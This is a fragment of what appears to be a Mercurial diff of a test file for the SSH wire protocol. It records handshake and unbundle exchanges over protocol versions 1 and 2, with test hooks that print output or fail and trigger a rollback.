1672 1648 > echo 'shell stdout 2'
1673 1649 > echo 'shell stderr 2' 1>&2
1674 1650 > exit 0
1675 1651 > EOF
1676 1652
1677 1653 $ cat > .hg/hgrc << EOF
1678 1654 > [hooks]
1679 1655 > pretxnchangegroup.a = sh $TESTTMP/hook.sh
1680 1656 > pretxnchangegroup.b = python:$TESTTMP/failhook:hookprintstderrandstdout
1681 1657 > EOF
1682 1658
1683 1659 $ debugwireproto << EOF
1684 1660 > command unbundle
1685 1661 > # This is "force" in hex.
1686 1662 > heads 666f726365
1687 1663 > PUSHFILE ../initial.v1.hg
1688 1664 > readavailable
1689 1665 > EOF
1690 1666 testing ssh1
1691 1667 creating ssh peer from handshake results
1692 1668 i> write(104) -> 104:
1693 1669 i> hello\n
1694 1670 i> between\n
1695 1671 i> pairs 81\n
1696 1672 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1697 1673 i> flush() -> None
1698 1674 o> readline() -> 4:
1699 1675 o> 413\n
1700 1676 o> readline() -> 413:
1701 1677 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1702 1678 o> readline() -> 2:
1703 1679 o> 1\n
1704 1680 o> readline() -> 1:
1705 1681 o> \n
1706 1682 sending unbundle command
1707 1683 i> write(9) -> 9:
1708 1684 i> unbundle\n
1709 1685 i> write(9) -> 9:
1710 1686 i> heads 10\n
1711 1687 i> write(10) -> 10: 666f726365
1712 1688 i> flush() -> None
1713 1689 o> readline() -> 2:
1714 1690 o> 0\n
1715 1691 i> write(4) -> 4:
1716 1692 i> 426\n
1717 1693 i> write(426) -> 426:
1718 1694 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1719 1695 i> test\n
1720 1696 i> 0 0\n
1721 1697 i> foo\n
1722 1698 i> \n
1723 1699 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1724 1700 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1725 1701 i> \x00\x00\x00\x00\x00\x00\x00\x00
1726 1702 i> write(2) -> 2:
1727 1703 i> 0\n
1728 1704 i> flush() -> None
1729 1705 o> readline() -> 2:
1730 1706 o> 0\n
1731 1707 o> readline() -> 2:
1732 1708 o> 1\n
1733 1709 o> read(1) -> 1: 0
1734 1710 result: 0
1735 1711 remote output:
1736 o> read(-1) -> 0:
1737 1712 e> read(-1) -> 273:
1738 1713 e> adding changesets\n
1739 1714 e> adding manifests\n
1740 1715 e> adding file changes\n
1741 1716 e> added 1 changesets with 1 changes to 1 files\n
1742 1717 e> shell stdout 1\n
1743 1718 e> shell stderr 1\n
1744 1719 e> shell stdout 2\n
1745 1720 e> shell stderr 2\n
1746 1721 e> stdout 1\n
1747 1722 e> stderr 1\n
1748 1723 e> stdout 2\n
1749 1724 e> stderr 2\n
1750 1725 e> transaction abort!\n
1751 1726 e> rollback completed\n
1752 1727 e> abort: pretxnchangegroup.b hook failed\n
1753 1728
1754 1729 testing ssh2
1755 1730 creating ssh peer from handshake results
1756 1731 i> write(171) -> 171:
1757 1732 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1758 1733 i> hello\n
1759 1734 i> between\n
1760 1735 i> pairs 81\n
1761 1736 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1762 1737 i> flush() -> None
1763 1738 o> readline() -> 62:
1764 1739 o> upgraded * exp-ssh-v2-0001\n (glob)
1765 1740 o> readline() -> 4:
1766 1741 o> 412\n
1767 1742 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1768 1743 o> read(1) -> 1:
1769 1744 o> \n
1770 1745 sending unbundle command
1771 1746 i> write(9) -> 9:
1772 1747 i> unbundle\n
1773 1748 i> write(9) -> 9:
1774 1749 i> heads 10\n
1775 1750 i> write(10) -> 10: 666f726365
1776 1751 i> flush() -> None
1777 1752 o> readline() -> 2:
1778 1753 o> 0\n
1779 1754 i> write(4) -> 4:
1780 1755 i> 426\n
1781 1756 i> write(426) -> 426:
1782 1757 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1783 1758 i> test\n
1784 1759 i> 0 0\n
1785 1760 i> foo\n
1786 1761 i> \n
1787 1762 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1788 1763 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1789 1764 i> \x00\x00\x00\x00\x00\x00\x00\x00
1790 1765 i> write(2) -> 2:
1791 1766 i> 0\n
1792 1767 i> flush() -> None
1793 1768 o> readline() -> 2:
1794 1769 o> 0\n
1795 1770 o> readline() -> 2:
1796 1771 o> 1\n
1797 1772 o> read(1) -> 1: 0
1798 1773 result: 0
1799 1774 remote output:
1800 o> read(-1) -> 0:
1801 1775 e> read(-1) -> 273:
1802 1776 e> adding changesets\n
1803 1777 e> adding manifests\n
1804 1778 e> adding file changes\n
1805 1779 e> added 1 changesets with 1 changes to 1 files\n
1806 1780 e> shell stdout 1\n
1807 1781 e> shell stderr 1\n
1808 1782 e> shell stdout 2\n
1809 1783 e> shell stderr 2\n
1810 1784 e> stdout 1\n
1811 1785 e> stderr 1\n
1812 1786 e> stdout 2\n
1813 1787 e> stderr 2\n
1814 1788 e> transaction abort!\n
1815 1789 e> rollback completed\n
1816 1790 e> abort: pretxnchangegroup.b hook failed\n
1817 1791
1818 1792 $ cd ..
1819 1793
1820 1794 Pushing a bundle1 with no output
1821 1795
1822 1796 $ hg init simplerepo
1823 1797 $ cd simplerepo
1824 1798
1825 1799 $ debugwireproto 1 << EOF
1826 1800 > command unbundle
1827 1801 > # This is "force" in hex.
1828 1802 > heads 666f726365
1829 1803 > PUSHFILE ../initial.v1.hg
1830 1804 > readavailable
1831 1805 > EOF
1832 1806 testing ssh1
1833 1807 creating ssh peer from handshake results
1834 1808 i> write(104) -> 104:
1835 1809 i> hello\n
1836 1810 i> between\n
1837 1811 i> pairs 81\n
1838 1812 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1839 1813 i> flush() -> None
1840 1814 o> readline() -> 4:
1841 1815 o> 413\n
1842 1816 o> readline() -> 413:
1843 1817 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1844 1818 o> readline() -> 2:
1845 1819 o> 1\n
1846 1820 o> readline() -> 1:
1847 1821 o> \n
1848 1822 sending unbundle command
1849 1823 i> write(9) -> 9:
1850 1824 i> unbundle\n
1851 1825 i> write(9) -> 9:
1852 1826 i> heads 10\n
1853 1827 i> write(10) -> 10: 666f726365
1854 1828 i> flush() -> None
1855 1829 o> readline() -> 2:
1856 1830 o> 0\n
1857 1831 i> write(4) -> 4:
1858 1832 i> 426\n
1859 1833 i> write(426) -> 426:
1860 1834 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1861 1835 i> test\n
1862 1836 i> 0 0\n
1863 1837 i> foo\n
1864 1838 i> \n
1865 1839 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1866 1840 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1867 1841 i> \x00\x00\x00\x00\x00\x00\x00\x00
1868 1842 i> write(2) -> 2:
1869 1843 i> 0\n
1870 1844 i> flush() -> None
1871 1845 o> readline() -> 2:
1872 1846 o> 0\n
1873 1847 o> readline() -> 2:
1874 1848 o> 1\n
1875 1849 o> read(1) -> 1: 1
1876 1850 result: 1
1877 1851 remote output:
1878 o> read(-1) -> 0:
1879 1852 e> read(-1) -> 100:
1880 1853 e> adding changesets\n
1881 1854 e> adding manifests\n
1882 1855 e> adding file changes\n
1883 1856 e> added 1 changesets with 1 changes to 1 files\n
1884 1857
1885 1858 testing ssh2
1886 1859 creating ssh peer from handshake results
1887 1860 i> write(171) -> 171:
1888 1861 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1889 1862 i> hello\n
1890 1863 i> between\n
1891 1864 i> pairs 81\n
1892 1865 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1893 1866 i> flush() -> None
1894 1867 o> readline() -> 62:
1895 1868 o> upgraded * exp-ssh-v2-0001\n (glob)
1896 1869 o> readline() -> 4:
1897 1870 o> 412\n
1898 1871 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1899 1872 o> read(1) -> 1:
1900 1873 o> \n
1901 1874 sending unbundle command
1902 1875 i> write(9) -> 9:
1903 1876 i> unbundle\n
1904 1877 i> write(9) -> 9:
1905 1878 i> heads 10\n
1906 1879 i> write(10) -> 10: 666f726365
1907 1880 i> flush() -> None
1908 1881 o> readline() -> 2:
1909 1882 o> 0\n
1910 1883 i> write(4) -> 4:
1911 1884 i> 426\n
1912 1885 i> write(426) -> 426:
1913 1886 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1914 1887 i> test\n
1915 1888 i> 0 0\n
1916 1889 i> foo\n
1917 1890 i> \n
1918 1891 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1919 1892 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1920 1893 i> \x00\x00\x00\x00\x00\x00\x00\x00
1921 1894 i> write(2) -> 2:
1922 1895 i> 0\n
1923 1896 i> flush() -> None
1924 1897 o> readline() -> 2:
1925 1898 o> 0\n
1926 1899 o> readline() -> 2:
1927 1900 o> 1\n
1928 1901 o> read(1) -> 1: 1
1929 1902 result: 1
1930 1903 remote output:
1931 o> read(-1) -> 0:
1932 1904 e> read(-1) -> 100:
1933 1905 e> adding changesets\n
1934 1906 e> adding manifests\n
1935 1907 e> adding file changes\n
1936 1908 e> added 1 changesets with 1 changes to 1 files\n
1937 1909
1938 1910 $ cd ..
1939 1911
1940 1912 Pushing a bundle1 with ui.write() and ui.write_err()
1941 1913
1942 1914 $ cat > $TESTTMP/hook << EOF
1943 1915 > def hookuiwrite(ui, repo, **kwargs):
1944 1916 > ui.write(b'ui.write 1\n')
1945 1917 > ui.write_err(b'ui.write_err 1\n')
1946 1918 > ui.write(b'ui.write 2\n')
1947 1919 > ui.write_err(b'ui.write_err 2\n')
1948 1920 > EOF
1949 1921
1950 1922 $ hg init uiwriterepo
1951 1923 $ cd uiwriterepo
1952 1924 $ cat > .hg/hgrc << EOF
1953 1925 > [hooks]
1954 1926 > pretxnchangegroup.hook = python:$TESTTMP/hook:hookuiwrite
1955 1927 > EOF
1956 1928
1957 1929 $ debugwireproto 1 << EOF
1958 1930 > command unbundle
1959 1931 > # This is "force" in hex.
1960 1932 > heads 666f726365
1961 1933 > PUSHFILE ../initial.v1.hg
1962 1934 > readavailable
1963 1935 > EOF
1964 1936 testing ssh1
1965 1937 creating ssh peer from handshake results
1966 1938 i> write(104) -> 104:
1967 1939 i> hello\n
1968 1940 i> between\n
1969 1941 i> pairs 81\n
1970 1942 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1971 1943 i> flush() -> None
1972 1944 o> readline() -> 4:
1973 1945 o> 413\n
1974 1946 o> readline() -> 413:
1975 1947 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1976 1948 o> readline() -> 2:
1977 1949 o> 1\n
1978 1950 o> readline() -> 1:
1979 1951 o> \n
1980 1952 sending unbundle command
1981 1953 i> write(9) -> 9:
1982 1954 i> unbundle\n
1983 1955 i> write(9) -> 9:
1984 1956 i> heads 10\n
1985 1957 i> write(10) -> 10: 666f726365
1986 1958 i> flush() -> None
1987 1959 o> readline() -> 2:
1988 1960 o> 0\n
1989 1961 i> write(4) -> 4:
1990 1962 i> 426\n
1991 1963 i> write(426) -> 426:
1992 1964 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1993 1965 i> test\n
1994 1966 i> 0 0\n
1995 1967 i> foo\n
1996 1968 i> \n
1997 1969 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1998 1970 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1999 1971 i> \x00\x00\x00\x00\x00\x00\x00\x00
2000 1972 i> write(2) -> 2:
2001 1973 i> 0\n
2002 1974 i> flush() -> None
2003 1975 o> readline() -> 2:
2004 1976 o> 0\n
2005 1977 o> readline() -> 2:
2006 1978 o> 1\n
2007 1979 o> read(1) -> 1: 1
2008 1980 result: 1
2009 1981 remote output:
2010 o> read(-1) -> 0:
2011 1982 e> read(-1) -> 152:
2012 1983 e> adding changesets\n
2013 1984 e> adding manifests\n
2014 1985 e> adding file changes\n
2015 1986 e> added 1 changesets with 1 changes to 1 files\n
2016 1987 e> ui.write 1\n
2017 1988 e> ui.write_err 1\n
2018 1989 e> ui.write 2\n
2019 1990 e> ui.write_err 2\n
2020 1991
2021 1992 testing ssh2
2022 1993 creating ssh peer from handshake results
2023 1994 i> write(171) -> 171:
2024 1995 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2025 1996 i> hello\n
2026 1997 i> between\n
2027 1998 i> pairs 81\n
2028 1999 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2029 2000 i> flush() -> None
2030 2001 o> readline() -> 62:
2031 2002 o> upgraded * exp-ssh-v2-0001\n (glob)
2032 2003 o> readline() -> 4:
2033 2004 o> 412\n
2034 2005 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
2035 2006 o> read(1) -> 1:
2036 2007 o> \n
2037 2008 sending unbundle command
2038 2009 i> write(9) -> 9:
2039 2010 i> unbundle\n
2040 2011 i> write(9) -> 9:
2041 2012 i> heads 10\n
2042 2013 i> write(10) -> 10: 666f726365
2043 2014 i> flush() -> None
2044 2015 o> readline() -> 2:
2045 2016 o> 0\n
2046 2017 i> write(4) -> 4:
2047 2018 i> 426\n
2048 2019 i> write(426) -> 426:
2049 2020 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
2050 2021 i> test\n
2051 2022 i> 0 0\n
2052 2023 i> foo\n
2053 2024 i> \n
2054 2025 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
2055 2026 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
2056 2027 i> \x00\x00\x00\x00\x00\x00\x00\x00
2057 2028 i> write(2) -> 2:
2058 2029 i> 0\n
2059 2030 i> flush() -> None
2060 2031 o> readline() -> 2:
2061 2032 o> 0\n
2062 2033 o> readline() -> 2:
2063 2034 o> 1\n
2064 2035 o> read(1) -> 1: 1
2065 2036 result: 1
2066 2037 remote output:
2067 o> read(-1) -> 0:
2068 2038 e> read(-1) -> 152:
2069 2039 e> adding changesets\n
2070 2040 e> adding manifests\n
2071 2041 e> adding file changes\n
2072 2042 e> added 1 changesets with 1 changes to 1 files\n
2073 2043 e> ui.write 1\n
2074 2044 e> ui.write_err 1\n
2075 2045 e> ui.write 2\n
2076 2046 e> ui.write_err 2\n
@@ -1,2161 +1,2157 b''
1 1 #require no-chg
2 2
3 3 $ cat > hgrc-sshv2 << EOF
4 4 > %include $HGRCPATH
5 5 > [experimental]
6 6 > sshpeer.advertise-v2 = true
7 7 > sshserver.support-v2 = true
8 8 > EOF
9 9
10 10 Helper function to run protocol tests against multiple protocol versions.
11 11 This is easier than using #testcases because managing differences between
12 12 protocols with inline conditional output is hard to read.
13 13
14 14 $ debugwireproto() {
15 15 > commands=`cat -`
16 16 > echo 'testing ssh1'
17 17 > echo "${commands}" | hg --verbose debugwireproto --localssh
18 18 > echo ""
19 19 > echo 'testing ssh2'
20 20 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh
21 21 > }
22 22
23 23 $ cat >> $HGRCPATH << EOF
24 24 > [ui]
25 25 > ssh = $PYTHON "$TESTDIR/dummyssh"
26 26 > [devel]
27 27 > debug.peer-request = true
28 28 > [extensions]
29 29 > sshprotoext = $TESTDIR/sshprotoext.py
30 30 > EOF
31 31
32 32 $ hg init server
33 33 $ cd server
34 34 $ echo 0 > foo
35 35 $ hg -q add foo
36 36 $ hg commit -m initial
37 37
38 38 A no-op connection performs a handshake
39 39
40 40 $ hg debugwireproto --localssh << EOF
41 41 > EOF
42 42 creating ssh peer from handshake results
43 43
44 44 Raw peers don't perform any activity
45 45
46 46 $ hg debugwireproto --localssh --peer raw << EOF
47 47 > EOF
48 48 using raw connection to peer
49 49 $ hg debugwireproto --localssh --peer ssh1 << EOF
50 50 > EOF
51 51 creating ssh peer for wire protocol version 1
52 52 $ hg debugwireproto --localssh --peer ssh2 << EOF
53 53 > EOF
54 54 creating ssh peer for wire protocol version 2
55 55
56 56 Test a normal behaving server, for sanity
57 57
58 58 $ cd ..
59 59
60 60 $ hg --debug debugpeer ssh://user@dummy/server
61 61 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
62 62 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
63 63 devel-peer-request: hello+between
64 64 devel-peer-request: pairs: 81 bytes
65 65 sending hello command
66 66 sending between command
67 67 remote: 413
68 68 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
69 69 remote: 1
70 70 devel-peer-request: protocaps
71 71 devel-peer-request: caps: * bytes (glob)
72 72 sending protocaps command
73 73 url: ssh://user@dummy/server
74 74 local: no
75 75 pushable: yes
76 76
77 77 Server should answer the "hello" command in isolation
78 78
79 79 $ hg -R server debugwireproto --localssh --peer raw << EOF
80 80 > raw
81 81 > hello\n
82 82 > readline
83 83 > readline
84 84 > EOF
85 85 using raw connection to peer
86 86 i> write(6) -> 6:
87 87 i> hello\n
88 88 o> readline() -> 4:
89 89 o> 413\n
90 90 o> readline() -> 413:
91 91 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
92 92
93 93 `hg debugserve --sshstdio` works
94 94
95 95 $ cd server
96 96 $ hg debugserve --sshstdio << EOF
97 97 > hello
98 98 > EOF
99 99 413
100 100 capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
101 101
102 102 I/O logging works
103 103
104 104 $ hg debugserve --sshstdio --logiofd 1 << EOF
105 105 > hello
106 106 > EOF
107 107 o> write(4) -> 4:
108 108 o> 413\n
109 109 o> write(413) -> 413:
110 110 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
111 111 413
112 112 capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
113 113 o> flush() -> None
114 114
115 115 $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF
116 116 > hello
117 117 > EOF
118 118 413
